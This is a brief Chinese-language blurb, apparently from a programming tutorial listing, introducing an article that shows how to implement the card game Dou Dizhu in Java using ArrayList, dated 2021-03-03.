這篇文章主要為大家詳細(xì)介紹了java使用ArrayList實(shí)現(xiàn)斗地主,文中示例代碼介紹的非常詳細(xì),具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2021-03-03